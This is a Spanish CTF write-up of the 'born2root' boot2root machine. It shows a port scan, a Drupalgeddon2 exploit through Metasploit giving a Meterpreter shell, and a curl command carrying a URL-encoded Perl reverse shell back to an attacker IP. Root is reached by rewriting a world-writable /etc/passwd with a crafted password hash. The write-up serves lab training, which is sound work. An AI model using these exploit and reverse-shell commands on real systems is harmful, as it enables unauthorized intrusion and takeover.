Solución al reto 25 "born2root"
Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:
Empezamos con el típico escaneo de todos los puertos de la máquina:
Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
| 256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_ 256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp open http Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.1.229
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds
Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:
http://192.168.1.229/
Vale, claramente es un Drupal así que vamos a ver rápidamente de qué versión se trata con Droopescan:
# ./droopescan scan drupal -u http://192.168.1.229/
[+] No themes found.
[+] Possible interesting urls found:
Default changelog file - http://192.168.1.229/CHANGELOG.txt
[+] Possible version(s):
7.51
7.52
[+] No plugins found.
[+] Scan finished (0:00:04.452500 elapsed)
¡Perfecto! Se trata de la versión 7.51 o 7.52, así que probablemente sea vulnerable al RCE de Drupalggedon2. Vamos a comprobarlo con Metasploit:
msf5 > search drupal
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon 2014-10-15 excellent Drupal HTTP Parameter Key/Value SQL Injection
exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent PHP XML-RPC Arbitrary Code Execution
> use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no If output should be dumped
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.229
rhost => 192.168.1.229
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Drupal 7.x targeted at http://192.168.1.229/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.1.229
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.229:56868) at 2018-05-18 12:03:21 +0200
meterpreter > getuid
Server username: www-data (33)
¡Bingo! tenemos shell. Vamos a "spawnearla" y a ver si encontramos el fichero user.txt para leer la primera flag:
meterpreter > shell
Process 1431 created.
Channel 0 created.
python3 -c 'import pty; pty.spawn("/bin/sh")'
$ find / -name user.txt -print
....
find: '/run/sudo': Permission denied
find: '/run/postgresql/9.6-main.pg_stat_tmp': Permission denied
find: '/run/lvm': Permission denied
find: '/run/systemd/inaccessible': Permission denied
find: '/run/lock/lvm': Permission denied
/home/hackmen00b/user.txt
find: '/home/hackmen00b/.cache': Permission denied
find: '/etc/polkit-1/localauthority': Permission denied
find: '/etc/ssl/private': Permission denied
$ cat /home/hackmen00b/user.txt
cat /home/hackmen00b/user.txt
8D2A059E6B154EC9215882B82F28CFCB
Fácil y sencillo, para toda la familia xD
Otra opción y la que utilizó Borja es usar el exploit de HansTopo - https://github.com/dreadlocked/Drupalgeddon2, con el que la shell reversa se obtendría de la siguiente manera:
curl 'http://192.168.X.190/sites/default/s.php' -d 'c=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.X.243%22%3B%24p%3D1337%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27%20%3A'
Una vez con la shell interactiva el siguiente paso será escalar privilegios y, para ello, veremos enseguida que el fichero /etc/passwd tiene permisos de escritura:
$ ls -las /etc/passwd
ls -las /etc/passwd
4 -rwxrwxrwx 1 root root 1759 May 8 15:28 /etc/passwd
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
_apt:x:106:65534::/nonexistent:/bin/false
mysql:x:107:110:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
postgres:x:110:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false
pollinate:x:112:1::/var/cache/pollinate:/bin/false
hackmen00b:x:1000:1000:hackmen00b,,,:/home/hackmen00b:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$
Para escalar aquí tenemos también varias formas. La que usó Borja fue generar una contraseña para el usuario root: perl -le 'print crypt("nomasimagenessinstego", "aa")', obtener el hash y copiarlo en el campo correspondiente, y luego hacer su y convertirse en root.
Y otra opción sería asignarle una shell al usuario www-data con el que estamos loggeados, hacer 'su' con dicho usuario, ejecutar passwd y luego copiar el mismo hash generado para root:
www-data@hackmen00b:~/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:$6$reKe6zEF$PZ19z7x4uaSCTHqKy8Oma04cvciJV32VcG2PLAQ4N8jVgmteXYAGUZNVsgZhn7L9NT8mWj9g9R.MJA5wk31sF.:0:0:root:/root:/bin/bash
www-data::33:0:www-data:/var/www:/bin/bash
www-data@hackmen00b:~/html/drupal$ su
su
Password: test12345
root@hackmen00b:/var/www/html/drupal# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hackmen00b:/var/www/html/drupal#
root@hackmen00b:/var/www/html/drupal# cat /root/root.txt
cat /root/root.txt
0C9350CD1516EB0A516D604EAC7177FC
Y nada más, dar la enhorabuena a Borja (te debo la camiseta y el welcome pack) y agradecer como siempre a César por compartir sus retos y todos aquellos que lo habéis intentado.
¡Nos "vemos" en el siguiente!
Via: www.hackplayers.com
Solución al reto 25 "born2root"
Reviewed by Anónimo
on
10:34
Rating: